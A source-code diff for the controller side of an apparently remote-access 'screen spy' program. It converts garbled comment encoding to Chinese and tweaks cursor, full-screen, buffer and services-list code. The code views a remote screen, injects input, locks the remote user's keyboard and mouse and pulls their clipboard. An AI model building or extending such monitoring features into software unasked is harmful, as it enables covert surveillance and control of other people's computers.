LPVOID NextScreenData = m_ContextObject->InDeCompressedBuffer.GetBuffer(ulHeadLength);
|
LPVOID NextScreenData = m_ContextObject->InDeCompressedBuffer.GetBuffer(ulHeadLength);
|
||||||
ULONG NextScreenLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - ulHeadLength;
|
ULONG NextScreenLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - ulHeadLength;
|
||||||
@@ -224,29 +225,30 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(void)
|
|||||||
memcpy(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT));
|
memcpy(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT));
|
||||||
memcpy(&m_ClientCursorPos, m_ContextObject->InDeCompressedBuffer.GetBuffer(2), sizeof(POINT));
|
memcpy(&m_ClientCursorPos, m_ContextObject->InDeCompressedBuffer.GetBuffer(2), sizeof(POINT));
|
||||||
|
|
||||||
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><EFBFBD><EFBFBD>
|
// 鼠标移动了
|
||||||
if (memcmp(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT)) != 0)
|
if (memcmp(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT)) != 0)
|
||||||
{
|
{
|
||||||
bChange = TRUE;
|
bChange = TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>仯
|
// 光标类型发生变化
|
||||||
BYTE bOldCursorIndex;
|
BYTE bOldCursorIndex = m_bCursorIndex;
|
||||||
memcpy(&bOldCursorIndex, &m_bCursorIndex, sizeof(BYTE));
|
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0];
|
||||||
memcpy(&m_bCursorIndex, m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT)), sizeof(BYTE));
|
|
||||||
if (bOldCursorIndex != m_bCursorIndex)
|
if (bOldCursorIndex != m_bCursorIndex)
|
||||||
{
|
{
|
||||||
bChange = TRUE;
|
bChange = TRUE;
|
||||||
|
if (m_bIsCtrl && !m_bIsTraceCursor)//替换指定窗口所属类的WNDCLASSEX结构
|
||||||
|
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
|
||||||
}
|
}
|
||||||
|
|
||||||
// <EFBFBD><EFBFBD>Ļ<EFBFBD>Ƿ<EFBFBD><EFBFBD>仯
|
// 屏幕是否变化
|
||||||
if (NextScreenLength > 0)
|
if (NextScreenLength > 0)
|
||||||
{
|
{
|
||||||
bChange = TRUE;
|
bChange = TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
//lodsdָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ESIָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>λ<EFBFBD><EFBFBD>4<EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݷ<EFBFBD><EFBFBD><EFBFBD>EAX<EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4
|
//lodsd指令从ESI指向的内存位置4个字节内容放入EAX中并且下移4
|
||||||
//movsbָ<EFBFBD><EFBFBD><EFBFBD>ֽڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>ͨ<EFBFBD><EFBFBD>SI<EFBFBD><EFBFBD>DI<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD>Ŀ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ
|
//movsb指令字节传送数据,通过SI和DI这两个寄存器控制字符串的源地址和目标地址
|
||||||
//m_rectBuffer [0002 esi0002 esi000A 000C] [][]edi[][][][][][][][][][][][][][][][][]
|
//m_rectBuffer [0002 esi0002 esi000A 000C] [][]edi[][][][][][][][][][][][][][][][][]
|
||||||
__asm
|
__asm
|
||||||
{
|
{
|
||||||
@@ -255,15 +257,15 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(void)
|
|||||||
jmp CopyEnd
|
jmp CopyEnd
|
||||||
CopyNextBlock:
|
CopyNextBlock:
|
||||||
mov edi, [FirstScreenData]
|
mov edi, [FirstScreenData]
|
||||||
lodsd // <EFBFBD><EFBFBD>lpNextScreen<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><EFBFBD>˫<EFBFBD>ֽڣ<EFBFBD><EFBFBD>ŵ<EFBFBD>eax<EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD>DIB<49>иı<D0B8><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
|
lodsd // 把lpNextScreen的第一个双字节,放到eax中,就是DIB中改变区域的偏移
|
||||||
add edi, eax // lpFirstScreenƫ<EFBFBD><EFBFBD>eax
|
add edi, eax // lpFirstScreen偏移eax
|
||||||
lodsd // <EFBFBD><EFBFBD>lpNextScreen<EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD>˫<EFBFBD>ֽڣ<EFBFBD><EFBFBD>ŵ<EFBFBD>eax<EFBFBD><EFBFBD>, <20><><EFBFBD>Ǹı<C7B8><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>С
|
lodsd // 把lpNextScreen的下一个双字节,放到eax中, 就是改变区域的大小
|
||||||
mov ecx, eax
|
mov ecx, eax
|
||||||
sub ebx, 8 // ebx <EFBFBD><EFBFBD>ȥ <20><><EFBFBD><EFBFBD>dword
|
sub ebx, 8 // ebx 减去 两个dword
|
||||||
sub ebx, ecx // ebx <EFBFBD><EFBFBD>ȥDIB<EFBFBD><EFBFBD><EFBFBD>ݵĴ<EFBFBD>С
|
sub ebx, ecx // ebx 减去DIB数据的大小
|
||||||
rep movsb
|
rep movsb
|
||||||
CopyEnd:
|
CopyEnd:
|
||||||
cmp ebx, 0 // <EFBFBD>Ƿ<EFBFBD>д<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
cmp ebx, 0 // 是否写入完毕
|
||||||
jnz CopyNextBlock
|
jnz CopyNextBlock
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -280,7 +282,7 @@ void CScreenSpyDlg::OnPaint()
|
|||||||
|
|
||||||
if (m_bIsFirst)
|
if (m_bIsFirst)
|
||||||
{
|
{
|
||||||
DrawTipString("<EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD>......");
|
DrawTipString("请等待......");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -298,7 +300,7 @@ void CScreenSpyDlg::OnPaint()
|
|||||||
m_hFullDC,
|
m_hFullDC,
|
||||||
m_ClientCursorPos.x - m_ulHScrollPos,
|
m_ClientCursorPos.x - m_ulHScrollPos,
|
||||||
m_ClientCursorPos.y - m_ulVScrollPos,
|
m_ClientCursorPos.y - m_ulVScrollPos,
|
||||||
m_hCursor,
|
m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex),
|
||||||
0,0,
|
0,0,
|
||||||
0,
|
0,
|
||||||
NULL,
|
NULL,
|
||||||
@@ -310,11 +312,11 @@ VOID CScreenSpyDlg::DrawTipString(CString strString)
|
|||||||
{
|
{
|
||||||
RECT Rect;
|
RECT Rect;
|
||||||
GetClientRect(&Rect);
|
GetClientRect(&Rect);
|
||||||
//COLORREF<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD>RGB<EFBFBD><EFBFBD>ɫ
|
//COLORREF用来描绘一个RGB颜色
|
||||||
COLORREF BackgroundColor = RGB(0x00, 0x00, 0x00);
|
COLORREF BackgroundColor = RGB(0x00, 0x00, 0x00);
|
||||||
COLORREF OldBackgroundColor = SetBkColor(m_hFullDC, BackgroundColor);
|
COLORREF OldBackgroundColor = SetBkColor(m_hFullDC, BackgroundColor);
|
||||||
COLORREF OldTextColor = SetTextColor(m_hFullDC, RGB(0xff,0x00,0x00));
|
COLORREF OldTextColor = SetTextColor(m_hFullDC, RGB(0xff,0x00,0x00));
|
||||||
//ExtTextOut<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ṩһ<EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD>ѡ<EFBFBD><EFBFBD><EFBFBD>ľ<EFBFBD><EFBFBD>Σ<EFBFBD><EFBFBD>õ<EFBFBD>ǰѡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>塢<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD>
|
//ExtTextOut函数可以提供一个可供选择的矩形,用当前选择的字体、背景颜色和正文颜色来绘制一个字符串
|
||||||
ExtTextOut(m_hFullDC, 0, 0, ETO_OPAQUE, &Rect, NULL, 0, NULL);
|
ExtTextOut(m_hFullDC, 0, 0, ETO_OPAQUE, &Rect, NULL, 0, NULL);
|
||||||
|
|
||||||
DrawText (m_hFullDC, strString, -1, &Rect,DT_SINGLELINE | DT_CENTER | DT_VCENTER);
|
DrawText (m_hFullDC, strString, -1, &Rect,DT_SINGLELINE | DT_CENTER | DT_VCENTER);
|
||||||
@@ -326,7 +328,7 @@ VOID CScreenSpyDlg::DrawTipString(CString strString)
|
|||||||
|
|
||||||
void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||||
{
|
{
|
||||||
// TODO: <EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||||
CMenu* SysMenu = GetSystemMenu(FALSE);
|
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||||||
|
|
||||||
switch (nID)
|
switch (nID)
|
||||||
@@ -337,27 +339,27 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case IDM_FULLSCREEN: // ȫ<EFBFBD><EFBFBD>
|
case IDM_FULLSCREEN: // 全屏
|
||||||
{
|
{
|
||||||
EnterFullScreen();
|
EnterFullScreen();
|
||||||
SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_CHECKED); //<EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD>ʽ
|
SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_CHECKED); //菜单样式
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case IDM_SAVEDIB: // <EFBFBD><EFBFBD><EFBFBD>ձ<EFBFBD><EFBFBD><EFBFBD>
|
case IDM_SAVEDIB: // 快照保存
|
||||||
{
|
{
|
||||||
SaveSnapshot();
|
SaveSnapshot();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case IDM_TRACE_CURSOR: // <EFBFBD><EFBFBD><EFBFBD>ٱ<EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
case IDM_TRACE_CURSOR: // 跟踪被控端鼠标
|
||||||
{
|
{
|
||||||
m_bIsTraceCursor = !m_bIsTraceCursor; //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڸı<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
m_bIsTraceCursor = !m_bIsTraceCursor; //这里在改变数据
|
||||||
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);//<EFBFBD>ڲ˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);//在菜单打钩不打钩
|
||||||
|
|
||||||
// <EFBFBD>ػ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// 重绘消除或显示鼠标
|
||||||
OnPaint();
|
OnPaint();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case IDM_BLOCK_INPUT: // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ<EFBFBD><EFBFBD><EFBFBD>
|
case IDM_BLOCK_INPUT: // 锁定服务端鼠标和键盘
|
||||||
{
|
{
|
||||||
BOOL bIsChecked = SysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED;
|
BOOL bIsChecked = SysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED;
|
||||||
SysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
SysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||||||
@@ -368,13 +370,13 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
m_iocpServer->OnClientPreSending(m_ContextObject, bToken, sizeof(bToken));
|
m_iocpServer->OnClientPreSending(m_ContextObject, bToken, sizeof(bToken));
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case IDM_GET_CLIPBOARD: //<EFBFBD><EFBFBD>ҪClient<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
case IDM_GET_CLIPBOARD: //想要Client的剪贴板内容
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
|
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(bToken));
|
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(bToken));
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case IDM_SET_CLIPBOARD: //<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
case IDM_SET_CLIPBOARD: //给他
|
||||||
{
|
{
|
||||||
SendServerClipboard();
|
SendServerClipboard();
|
||||||
break;
|
break;
|
||||||
@@ -413,6 +415,8 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
|
|||||||
case WM_KEYUP:
|
case WM_KEYUP:
|
||||||
case WM_SYSKEYDOWN:
|
case WM_SYSKEYDOWN:
|
||||||
case WM_SYSKEYUP:
|
case WM_SYSKEYUP:
|
||||||
|
if (pMsg->wParam == VK_F11 && LeaveFullScreen()) // F11: 退出全屏
|
||||||
|
return TRUE;
|
||||||
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
|
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
|
||||||
{
|
{
|
||||||
MSG Msg;
|
MSG Msg;
|
||||||
@@ -423,9 +427,7 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
|
|||||||
SendCommand(&Msg);
|
SendCommand(&Msg);
|
||||||
}
|
}
|
||||||
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
|
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
|
||||||
return true;
|
return TRUE;// 屏蔽Enter和ESC关闭对话
|
||||||
if (pMsg->wParam == VK_F11) // <20>˳<EFBFBD>ȫ<EFBFBD><C8AB>
|
|
||||||
LeaveFullScreen();
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -438,18 +440,18 @@ VOID CScreenSpyDlg::SendCommand(MSG* Msg)
|
|||||||
if (!m_bIsCtrl)
|
if (!m_bIsCtrl)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
LPBYTE szData = new BYTE[sizeof(MSG) + 1];
|
const int length = sizeof(MSG) + 1;
|
||||||
|
BYTE szData[length + 3];
|
||||||
szData[0] = COMMAND_SCREEN_CONTROL;
|
szData[0] = COMMAND_SCREEN_CONTROL;
|
||||||
memcpy(szData + 1, Msg, sizeof(MSG));
|
memcpy(szData + 1, Msg, sizeof(MSG));
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, szData, sizeof(MSG) + 1);
|
szData[length] = 0;
|
||||||
|
m_iocpServer->OnClientPreSending(m_ContextObject, szData, length);
|
||||||
delete[] szData;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL CScreenSpyDlg::SaveSnapshot(void)
|
BOOL CScreenSpyDlg::SaveSnapshot(void)
|
||||||
{
|
{
|
||||||
CString strFileName = m_strClientIP + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.bmp");
|
CString strFileName = m_strClientIP + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.bmp");
|
||||||
CFileDialog Dlg(FALSE, "bmp", strFileName, OFN_OVERWRITEPROMPT, "λͼ<EFBFBD>ļ<EFBFBD>(*.bmp)|*.bmp|", this);
|
CFileDialog Dlg(FALSE, "bmp", strFileName, OFN_OVERWRITEPROMPT, "位图文件(*.bmp)|*.bmp|", this);
|
||||||
if(Dlg.DoModal () != IDOK)
|
if(Dlg.DoModal () != IDOK)
|
||||||
return FALSE;
|
return FALSE;
|
||||||
|
|
||||||
@@ -461,12 +463,12 @@ BOOL CScreenSpyDlg::SaveSnapshot(void)
|
|||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
// BITMAPINFO<EFBFBD><EFBFBD>С
|
// BITMAPINFO大小
|
||||||
//+ (BitMapInfor->bmiHeader.biBitCount > 16 ? 1 : (1 << BitMapInfor->bmiHeader.biBitCount)) * sizeof(RGBQUAD)
|
//+ (BitMapInfor->bmiHeader.biBitCount > 16 ? 1 : (1 << BitMapInfor->bmiHeader.biBitCount)) * sizeof(RGBQUAD)
|
||||||
//bmp fjkdfj dkfjkdfj [][][][]
|
//bmp fjkdfj dkfjkdfj [][][][]
|
||||||
int nbmiSize = sizeof(BITMAPINFO);
|
int nbmiSize = sizeof(BITMAPINFO);
|
||||||
|
|
||||||
//Э<EFBFBD><EFBFBD> TCP У<EFBFBD><EFBFBD>ֵ
|
//协议 TCP 校验值
|
||||||
BitMapFileHeader.bfType = ((WORD) ('M' << 8) | 'B');
|
BitMapFileHeader.bfType = ((WORD) ('M' << 8) | 'B');
|
||||||
BitMapFileHeader.bfSize = BitMapInfor->bmiHeader.biSizeImage + sizeof(BitMapFileHeader); //8421
|
BitMapFileHeader.bfSize = BitMapInfor->bmiHeader.biSizeImage + sizeof(BitMapFileHeader); //8421
|
||||||
BitMapFileHeader.bfReserved1 = 0; //8000
|
BitMapFileHeader.bfReserved1 = 0; //8000
|
||||||
@@ -503,16 +505,16 @@ VOID CScreenSpyDlg::UpdateServerClipboard(char *szBuffer,ULONG ulLength)
|
|||||||
|
|
||||||
VOID CScreenSpyDlg::SendServerClipboard(void)
|
VOID CScreenSpyDlg::SendServerClipboard(void)
|
||||||
{
|
{
|
||||||
if (!::OpenClipboard(NULL)) //<EFBFBD><EFBFBD><EFBFBD>а<EFBFBD><EFBFBD>豸
|
if (!::OpenClipboard(NULL)) //打开剪切板设备
|
||||||
return;
|
return;
|
||||||
HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
|
HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //代表着一个内存
|
||||||
if (hGlobal == NULL)
|
if (hGlobal == NULL)
|
||||||
{
|
{
|
||||||
::CloseClipboard();
|
::CloseClipboard();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
int iPacketLength = GlobalSize(hGlobal) + 1;
|
int iPacketLength = GlobalSize(hGlobal) + 1;
|
||||||
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //锁定
|
||||||
LPBYTE szBuffer = new BYTE[iPacketLength];
|
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||||||
|
|
||||||
szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD;
|
szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD;
|
||||||
@@ -647,16 +649,18 @@ void CScreenSpyDlg::EnterFullScreen()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 全屏退出成功则返回true
|
||||||
void CScreenSpyDlg::LeaveFullScreen()
|
bool CScreenSpyDlg::LeaveFullScreen()
|
||||||
{
|
{
|
||||||
if (m_bFullScreen)
|
if (m_bFullScreen)
|
||||||
{
|
{
|
||||||
SetWindowPlacement(&m_struOldWndpl);
|
SetWindowPlacement(&m_struOldWndpl);
|
||||||
CMenu *SysMenu = GetSystemMenu(FALSE);
|
CMenu *SysMenu = GetSystemMenu(FALSE);
|
||||||
SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_UNCHECKED); //<EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD>ʽ
|
SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_UNCHECKED); //菜单样式
|
||||||
m_bFullScreen = false;
|
m_bFullScreen = false;
|
||||||
|
return true;
|
||||||
}
|
}
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
void CScreenSpyDlg::OnLButtonDown(UINT nFlags, CPoint point)
|
void CScreenSpyDlg::OnLButtonDown(UINT nFlags, CPoint point)
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#include "IOCPServer.h"
|
#include "IOCPServer.h"
|
||||||
|
#include "..\..\client\CursorInfo.h"
|
||||||
|
|
||||||
// CScreenSpyDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
// CScreenSpyDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
@@ -34,6 +35,7 @@ public:
|
|||||||
BYTE m_bCursorIndex;
|
BYTE m_bCursorIndex;
|
||||||
CString m_strClientIP;
|
CString m_strClientIP;
|
||||||
BOOL m_bIsTraceCursor;
|
BOOL m_bIsTraceCursor;
|
||||||
|
CCursorInfo m_CursorInfo; //<2F>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ϵͳ<CFB5>Ĺ<EFBFBD><C4B9><EFBFBD><EFBFBD><EFBFBD>
|
||||||
VOID SendCommand(MSG* Msg);
|
VOID SendCommand(MSG* Msg);
|
||||||
|
|
||||||
VOID UpdateServerClipboard(char *szBuffer,ULONG ulLength);
|
VOID UpdateServerClipboard(char *szBuffer,ULONG ulLength);
|
||||||
@@ -53,7 +55,7 @@ public:
|
|||||||
WINDOWPLACEMENT m_struOldWndpl;
|
WINDOWPLACEMENT m_struOldWndpl;
|
||||||
|
|
||||||
void EnterFullScreen();
|
void EnterFullScreen();
|
||||||
void LeaveFullScreen();
|
bool LeaveFullScreen();
|
||||||
|
|
||||||
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
|
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
|
||||||
afx_msg void OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
|
afx_msg void OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
|
||||||
|
|||||||
@@ -11,6 +11,14 @@
|
|||||||
|
|
||||||
IMPLEMENT_DYNAMIC(CServicesDlg, CDialog)
|
IMPLEMENT_DYNAMIC(CServicesDlg, CDialog)
|
||||||
|
|
||||||
|
// ItemData1 <20><>Ҫ<EFBFBD><D2AA>ItemDataͬ<61><CDAC><EFBFBD>ˣ<EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
typedef struct ItemData1
|
||||||
|
{
|
||||||
|
CString Data[5];
|
||||||
|
CString GetData(int index) const {
|
||||||
|
return this ? Data[index] : "";
|
||||||
|
}
|
||||||
|
} ItemData1;
|
||||||
|
|
||||||
CServicesDlg::CServicesDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
CServicesDlg::CServicesDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||||
: CDialog(CServicesDlg::IDD, pParent)
|
: CDialog(CServicesDlg::IDD, pParent)
|
||||||
@@ -39,6 +47,7 @@ BEGIN_MESSAGE_MAP(CServicesDlg, CDialog)
|
|||||||
ON_COMMAND(ID_SERVICES_START, &CServicesDlg::OnServicesStart)
|
ON_COMMAND(ID_SERVICES_START, &CServicesDlg::OnServicesStart)
|
||||||
ON_COMMAND(ID_SERVICES_REFLASH, &CServicesDlg::OnServicesReflash)
|
ON_COMMAND(ID_SERVICES_REFLASH, &CServicesDlg::OnServicesReflash)
|
||||||
ON_NOTIFY(NM_RCLICK, IDC_LIST, &CServicesDlg::OnNMRClickList)
|
ON_NOTIFY(NM_RCLICK, IDC_LIST, &CServicesDlg::OnNMRClickList)
|
||||||
|
ON_NOTIFY(HDN_ITEMCLICK, 0, &CServicesDlg::OnHdnItemclickList)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
@@ -71,14 +80,15 @@ BOOL CServicesDlg::OnInitDialog()
|
|||||||
|
|
||||||
int CServicesDlg::ShowServicesList(void)
|
int CServicesDlg::ShowServicesList(void)
|
||||||
{
|
{
|
||||||
char *szBuffer = (char *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1));
|
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
|
||||||
|
char *szBuffer = tmp.c_str();
|
||||||
char *szDisplayName;
|
char *szDisplayName;
|
||||||
char *szServiceName;
|
char *szServiceName;
|
||||||
char *szRunWay;
|
char *szRunWay;
|
||||||
char *szAutoRun;
|
char *szAutoRun;
|
||||||
char *szFilePath;
|
char *szFilePath;
|
||||||
DWORD dwOffset = 0;
|
DWORD dwOffset = 0;
|
||||||
m_ControlList.DeleteAllItems();
|
DeleteAllItems();
|
||||||
|
|
||||||
int i = 0;
|
int i = 0;
|
||||||
for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i)
|
for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i)
|
||||||
@@ -94,7 +104,8 @@ int CServicesDlg::ShowServicesList(void)
|
|||||||
m_ControlList.SetItemText(i, 2, szAutoRun);
|
m_ControlList.SetItemText(i, 2, szAutoRun);
|
||||||
m_ControlList.SetItemText(i, 3, szRunWay);
|
m_ControlList.SetItemText(i, 3, szRunWay);
|
||||||
m_ControlList.SetItemText(i, 4, szFilePath );
|
m_ControlList.SetItemText(i, 4, szFilePath );
|
||||||
|
auto data = new ItemData1{ szServiceName, szDisplayName, szAutoRun, szRunWay, szFilePath };
|
||||||
|
m_ControlList.SetItemData(i, (DWORD_PTR)data);
|
||||||
dwOffset += lstrlen(szDisplayName) + lstrlen(szServiceName) + lstrlen(szFilePath) + lstrlen(szRunWay)
|
dwOffset += lstrlen(szDisplayName) + lstrlen(szServiceName) + lstrlen(szFilePath) + lstrlen(szRunWay)
|
||||||
+ lstrlen(szAutoRun) +5;
|
+ lstrlen(szAutoRun) +5;
|
||||||
}
|
}
|
||||||
@@ -113,6 +124,7 @@ void CServicesDlg::OnClose()
|
|||||||
#if CLOSE_DELETE_DLG
|
#if CLOSE_DELETE_DLG
|
||||||
m_ContextObject->v1 = 0;
|
